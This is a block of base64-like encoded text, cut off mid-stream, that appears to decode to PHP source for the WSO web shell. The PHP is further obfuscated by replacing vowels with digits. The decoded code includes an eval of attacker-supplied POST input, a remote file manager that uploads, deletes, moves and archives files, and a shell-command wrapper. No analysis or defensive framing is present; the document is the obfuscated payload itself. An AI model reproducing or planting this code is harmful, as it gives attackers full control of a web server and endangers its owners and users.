HBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSk7DQoJfQ0KCTVjaDIgJzwvcHI1PjwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgew0KICAgIDRmICghNW1wdHkgKCRfQ09PS0lFWydmJ10pKQ0KICAgICAgICAkX0NPT0tJRVsnZiddID0gQDNuczVyNDFsNHo1KCRfQ09PS0lFWydmJ10pOw0KICAgIA0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCXN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCgkJCWMxczUgJzNwbDIxZEY0bDUnOg0KCQkJCTRmKCFAbTJ2NV8zcGwyMWQ1ZF9mNGw1KCRfRklMRVNbJ2YnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZiddWyduMW01J10pKQ0KCQkJCQk1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnbWtkNHInOg0KCQkJCTRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCgkJCQkJNWNoMiAiQzFuJ3QgY3I1MXQ1IG41dyBkNHIiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnZDVsNXQ1JzoNCgkJCQlmM25jdDQybiBkNWw1dDVENHIoJHAxdGgpIHsNCgkJCQkJJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCgkJCQkJJGRoICA9IDJwNW5kNHIoJHAxdGgpOw0KCQkJCQl3aDRsNSAoICgkNHQ1bSA9IHI1MWRkNHIoJGRoKSApICE9PSBmMWxzNSkgew0KCQkJCQkJJDR0NW0gPSAkcDF0aC4kNHQ1bTsNCgkJCQkJCTRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKQ0KCQkJCQkJCWMybnQ0bjM1Ow0KCQkJCQkJJHR5cDUgPSBmNGw1dHlwNSgkNHQ1bSk7DQoJCQkJCQk0ZiAoJHR5cDUgPT0gImQ0ciIpDQoJCQkJCQkJZDVsNXQ1RDRyKCQ0dDVtKTsNCgkJCQkJCTVsczUNCgkJCQkJCQlAM25sNG5rKCQ0dDVtKTsNCgkJCQkJfQ0KCQkJCQljbDJzNWQ0cigkZGgpOw0KCQkJCQlAcm1kNHIoJHAxdGgpOw0KCQkJCX0NCgkJCQk0Zig0c18xcnIxeShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmMnI1MWNoKCRfUE9TVFsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KCQkJCQkJJGYgPSAzcmxkNWMyZDUoJGYpOw0KCQkJCQkJNGYoNHNfZDRyKCRmKSkNCgkJCQkJCQlkNWw1dDVENHIoJGYpOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJGYpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdwMXN0NSc6DQoJCQkJNGYoJF9DT09LSUVbJzFjdCddID09ICdjMnB5Jykgew0KCQkJCQlmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCgkJCQkJCTRmKDRzX2Q0cigkYy4kcykpew0KCQkJCQkJCW1rZDRyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEAycDVuZDRyKCRjLiRzKTsNCgkJCQkJCQl3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQoJCQkJCQkJCTRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikNCgkJCQkJCWMycHlfcDFzdDUoJF9DT09LSUVbJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ20ydjUnKSB7DQoJCQkJCWYzbmN0NDJuIG0ydjVfcDFzdDUoJGMsJHMsJGQpew0KCQkJCQkJNGYoNHNfZDRyKCRjLiRzKSl7DQoJCQkJCQkJbWtkNHIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQDJwNW5kNHIoJGMuJHMpOw0KCQkJCQkJCXdoNGw1ICgoJGYgPSBAcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCgkJCQkJCQkJNGYgKCgkZiAhPSAiLiIpIDFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gNWxzNTRmKEA0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikNCgkJCQkJCUByNW4xbTUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ3o0cCcpIHsNCgkJCQkJNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCR6NHAtPjJwNW4oJF9QT1NUWydwYSddLCA2KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKEA0c19mNGw1KCRfQ09PS0lFWydjJ10uJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNSgkX0NPT0tJRVsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZDRyKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1cjF0MnIgPSBuNXcgUjVjM3JzNHY1SXQ1cjF0MnJJdDVyMXQycihuNXcgUjVjM3JzNHY1RDRyNWN0MnJ5SXQ1cjF0MnIoJGYuJy8nKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoICgkNHQ1cjF0MnIgMXMgJGs1eT0+JHYxbDM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNShyNTFscDF0aCgkazV5KSwgJGs1eSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSA1bHM1NGYoJF9DT09LSUVbJzFjdCddID09ICczbno0cCcpIHsNCgkJCQkJNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX0NPT0tJRVsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHo0cC0+MnA1bigkX0NPT0tJRVsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT41eHRyMWN0VDIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ3QxcicpIHsNCiAgICAgICAgICAgICAgICAgICAgY2hkNHIoJF9DT09LSUVbJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSAxcnIxeV9tMXAoJzVzYzFwNXNoNWxsMXJnJywgJF9DT09LSUVbJ2YnXSk7DQogICAgICAgICAgICAgICAgICAgIHdzMkV4KCd0MXIgY2Z6diAnIC4gNXNjMXA1c2g1bGwxcmcoJF9QT1NUWydwYSddKSAuICcgJyAuIDRtcGwyZDUoJyAnLCAkX0NPT0tJRVsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfQ0KCQkJCTNuczV0KCRfQ09PS0lFWydmJ10pOw0KICAgICAgICAgICAgICAgIHM1dGMyMms0NSgnZicsICcnLCB0NG01KCkgLSBvZTAwKTsNCgkJCQlicjUxazsNCgkJCWQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJCQkJV1NPczV0YzIyazQ1KCcxY3QnLCAkX1BPU1RbJ3A2J10pOw0KCQkJCQlXU09zNXRjMjJrNDUoJ2YnLCBzNXI0MWw0ejUoQCRfUE9TVFsnZiddKSk7DQoJCQkJCVdTT3M1dGMyMms0NSgnYycsIEAkX1BPU1RbJ2MnXSk7DQoJCQkJfQ0KCQkJCWJyNTFrOw0KCQl9DQoJfQ0KICAgIHdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5GNGw1IG0xbjFnNXI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQoJJGQ0ckMybnQ1bnQgPSB3czJTYzFuZDRyKDRzczV0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOw0KCTRmKCRkNHJDMm50NW50ID09PSBmMWxzNSkgewk1Y2gyICdDMW5cJ3QgMnA1biB0aDRzIGYybGQ1ciEnO3dzMkYyMnQ1cigpOyByNXQzcm47IH0NCglnbDJiMWwgJHMycnQ7DQoJJHMycnQgPSAxcnIxeSgnbjFtNScsIDYpOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTRmKHByNWdfbTF0Y2goJyFzXyhbQS16XSspXyhcZHs2fSkhJywgJF9QT1NUWydwNiddLCAkbTF0Y2gpKQ0KCQkJJHMycnQgPSAxcnIxeSgkbTF0Y2hbNl0sICg0bnQpJG0xdGNoW2FdKTsNCgl9DQo1Y2gyICI8c2NyNHB0Pg0KCWYzbmN0NDJuIHMxKCkgew0KCQlmMnIoND0wOzQ8ZC5mNGw1cy41bDVtNW50cy5sNW5ndGg7NCsrKQ0KCQkJNGYoZC5mNGw1cy41bDVtNW50c1s0XS50eXA1ID09ICdjaDVja2IyeCcpDQoJCQkJZC5mNGw1cy41bDVtNW50c1s0XS5jaDVjazVkID0gZC5mNGw1cy41bDVtNW50c1swXS5jaDVjazVkOw0KCX0NCjwvc2NyNHB0Pg0KPHQxYmw1IHc0ZHRoPSc2MDAlJyBjbDFzcz0nbTE0bicgYzVsbHNwMWM0bmc9JzAnIGM1bGxwMWRkNG5nPSdhJz4NCjxmMnJtIG4xbTU9ZjRsNXMgbTV0aDJkPXAyc3Q+PHRyPjx0aCB3NGR0aD0nNm9weCc+PDRucDN0IHR5cDU9Y2g1Y2tiMnggMm5jbDRjaz0nczEoKScgY2wxc3M9Y2hrYng+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfbjFtNV8iLigkczJydFs2XT8wOjYpLiJcIiknPk4xbTU8LzE+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfczR6NV8iLigkczJydFs2XT8wOjYpLiJcIiknPlM0ejU8LzE+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfbTJkNGZ5XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+TTJkNGZ5PC8xPjwvdGg+PHRoPk93bjVyL0dyMjNwPC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfcDVybXNfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5QNXJtNHNzNDJuczwvMT48L3RoPjx0aD5BY3Q0Mm5zPC90aD48L3RyPiI7DQoJJGQ0cnMgPSAkZjRsNXMgPSAxcnIxeSgpOw0KCSRuID0gYzIzbnQoJGQ0ckMybnQ1bnQpOw0KCWYycigkND0wOyQ0PCRuOyQ0KyspIHsNCgkJJDJ3ID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSk7DQoJCSRnciA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkdG1wID0gMXJyMXkoJ24xbTUnID0+ICRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdwMXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdLA0KCQkJCQkgJ20yZDRmeScgPT4gZDF0NSgnWS1tLWQgSDo0OnMnLCBAZjRsNW10NG01KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpLA0KCQkJCQkgJ3A1cm1zJyA9PiB3czJQNXJtc0MybDJyKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnczR6NScgPT4gQGY0bDVzNHo1KCRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnZ3IyM3AnID0+ICRnclsnbjFtNSddPyRnclsnbjFtNSddOkBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKQ0KCQkJCQkpOw0KCQk0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKQ0KCQkJJGY0bDVzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Y0bDUnKSk7DQoJCTVsczU0ZihANHNfbDRuaygkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKQ0KCQkJJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnbDRuaycsICdsNG5rJyA9PiByNTFkbDRuaygkdG1wWydwMXRoJ10pKSk7DQoJCTVsczU0ZihANHNfZDRyKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkmJiAoJGQ0ckMybnQ1bnRbJDRdICE9ICIuIikpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdkNHInKSk7DQoJfQ0KCSRHTE9CQUxTWydzMnJ0J10gPSAkczJydDsNCglmM25jdDQybiB3czJDbXAoJDEsICRiKSB7DQoJCTRmKCRHTE9CQUxTWydzMnJ0J11bMF0gIT0gJ3M0ejUnKQ0KCQkJcjV0M3JuIHN0cmNtcChzdHJ0MmwydzVyKCQxWyRHTE9CQUxTWydzMnJ0J11bMF1dKSwgc3RydDJsMnc1cigkYlskR0xPQkFMU1snczJydCddWzBdXSkpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KCQk1bHM1DQoJCQlyNXQzcm4gKCgkMVsnczR6NSddIDwgJGJbJ3M0ejUnXSkgPyAtNiA6IDYpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KCX0NCgkzczJydCgkZjRsNXMsICJ3czJDbXAiKTsNCgkzczJydCgkZDRycywgIndzMkNtcCIpOw0KCSRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkZjRsNXMpOw0KCSRsID0gMDsNCglmMnI1MWNoKCRmNGw1cyAxcyAkZikgew0KCQk1Y2gyICc8dHInLigkbD8nIGNsMXNzPWw2JzonJykuJz48dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0iZltdIiB2MWwzNT0iJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJyIgY2wxc3M9Y2hrYng+PC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9IicuKCgkZlsndHlwNSddPT0nZjRsNScpPydnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndjQ1d1wnKSI+Jy5odG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pOidnKFwnRjRsNXNNMW5cJyxcJycuJGZbJ3AxdGgnXS4nXCcpOyIgJyAuICg1bXB0eSAoJGZbJ2w0bmsnXSkgPyAnJyA6ICJ0NHRsNT0neyRmWydsNG5rJ119JyIpIC4gJz48Yj5bICcgLiBodG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pIC4gJyBdPC9iPicpLic8LzE+PC90ZD48dGQ+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/d3MyVjQ1d1M0ejUoJGZbJ3M0ejUnXSk6JGZbJ3R5cDUnXSkuJzwvdGQ+PHRkPicuJGZbJ20yZDRmeSddLic8L3RkPjx0ZD4nLiRmWycyd241ciddLicvJy4kZlsnZ3IyM3AnXS4nPC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJyxcJ2NobTJkXCcpIj4nLiRmWydwNXJtcyddDQoJCQkuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwvdGQ+PC90cj4nOw0KCQkkbCA9ICRsPzA6NjsNCgl9DQoJNWNoMiAiPHRyPjx0ZCBjMmxzcDFuPTc+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNMW4nPg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpLiInPg0KCTxzNWw1Y3QgbjFtNT0ncDYnPjwycHQ0Mm4gdjFsMzU9J2MycHknPkMycHk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdtMnY1Jz5NMnY1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nZDVsNXQ1Jz5ENWw1dDU8LzJwdDQybj4iOw0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd6NHAnPkMybXByNXNzICh6NHApPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nM256NHAnPlVuYzJtcHI1c3MgKHo0cCk8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3Qxcic+QzJtcHI1c3MgKHQxci5neik8LzJwdDQybj4iOw0KICAgIDRmKCE1bXB0eSgkX0NPT0tJRVsnMWN0J10pICYmIEBjMjNudCgkX0NPT0tJRVsnZiddKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ncDFzdDUnPlAxc3Q1IC8gQzJtcHI1c3M8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwvczVsNWN0PiZuYnNwOyI7DQogICAgNGYoITVtcHR5KCRfQ09PS0lFWycxY3QnXSkgJiYgQGMyM250KCRfQ09PS0lFWydmJ10pICYmICgoJF9DT09LSUVbJzFjdCddID09ICd6NHAnKSB8fCAoJF9DT09LSUVbJzFjdCddID09ICd0MXInKSkpDQogICAgICAgIDVjaDIgImY0bDUgbjFtNTogPDRucDN0IHR5cDU9dDV4dCBuMW01PXBhIHYxbDM1PSd3czJfIiAuIGQxdDUoIlltZF9INHMiKSAuICIuIiAuICgkX0NPT0tJRVsnMWN0J10gPT0gJ3o0cCc/J3o0cCc6J3Qxci5neicpIC4gIic+Jm5ic3A7IjsNCiAgICA1Y2gyICI8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT48L2Q0dj4iOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5TdHI0bmdUMjJscygpIHsNCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2I0bmg1eCcpKSB7ZjNuY3Q0Mm4gYjRuaDV4KCRwKSB7cjV0M3JuIGQ1Y2g1eChiNG5kNWMoJHApKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGExc2M0NCcpKSB7ZjNuY3Q0Mm4gaDV4YTFzYzQ0KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJMNW4oJHApOyQ0Kz1hKXskci49Y2hyKGg1eGQ1YygkcFskNF0uJHBbJDQrNl0pKTt9cjV0M3JuICRyO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdmM2xsXzNybDVuYzJkNScpKSB7ZjNuY3Q0Mm4gZjNsbF8zcmw1bmMyZDUoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49ICclJy5kNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCSRzdHI0bmdUMjJscyA9IDFycjF5KA0KCQknQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLA0KCQknQjFzNWV1IGQ1YzJkNScgPT4gJ2IxczVldV9kNWMyZDUnLA0KCQknVXJsIDVuYzJkNScgPT4gJzNybDVuYzJkNScsDQoJCSdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywNCgkJJ0YzbGwgM3JsNW5jMmQ1JyA9PiAnZjNsbF8zcmw1bmMyZDUnLA0KCQknbWRpIGgxc2gnID0+ICdtZGknLA0KCQknc2gxNiBoMXNoJyA9PiAnc2gxNicsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQ29hJyA9PiAnY3Jjb2EnLA0KCQknQVNDSUkgdDIgSEVYJyA9PiAnMXNjNDRhaDV4JywNCgkJJ0hFWCB0MiBBU0NJSScgPT4gJ2g1eGExc2M0NCcsDQoJCSdIRVggdDIgREVDJyA9PiAnaDV4ZDVjJywNCgkJJ0hFWCB0MiBCSU4nID0+ICdoNXhhYjRuJywNCgkJJ0RFQyB0MiBIRVgnID0+ICdkNWNoNXgnLA0KCQknREVDIHQyIEJJTicgPT4gJ2Q1Y2I0bicsDQoJCSdCSU4gdDIgSEVYJyA9PiAnYjRuaDV4JywNCgkJJ0JJTiB0MiBERUMnID0+ICdiNG5kNWMnLA0KCQknU3RyNG5nIHQyIGwydzVyIGMxczUnID0+ICdzdHJ0MmwydzVyJywNCgkJJ1N0cjRuZyB0MiAzcHA1ciBjMXM1JyA9PiAnc3RydDIzcHA1cicsDQoJCSdIdG1sc3A1YzQxbGNoMXJzJyA9PiAnaHRtbHNwNWM0MWxjaDFycycsDQoJCSdTdHI0bmcgbDVuZ3RoJyA9PiAnc3RybDVuJywNCgkpOw0KCTRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KCQlXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnLCB0cjM1KTsNCgkJMmJfc3QxcnQoKTsNCgkJNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKQ0KCQkJNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLjRubjVySFRNTD0nIi4xZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KICAgIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCVdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCcsIDApOw0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TdHI0bmcgYzJudjVyczQybnM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTVjaDIgIjxmMnJtIG4xbTU9J3QyMmxzRjJybScgMm5TM2JtNHQ9JzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO30gcjV0M3JuIGYxbHM1Oyc+PHM1bDVjdCBuMW01PSdzNWw1Y3RUMjJsJz4iOw0KCWYycjUxY2goJHN0cjRuZ1QyMmxzIDFzICRrID0+ICR2KQ0KCQk1Y2gyICI8MnB0NDJuIHYxbDM1PSciLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiInPiIuJGsuIjwvMnB0NDJuPiI7DQoJCTVjaDIgIjwvczVsNWN0Pjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+PicvPiA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAiLihAJF9DT09LSUVbbWRpKCRfU0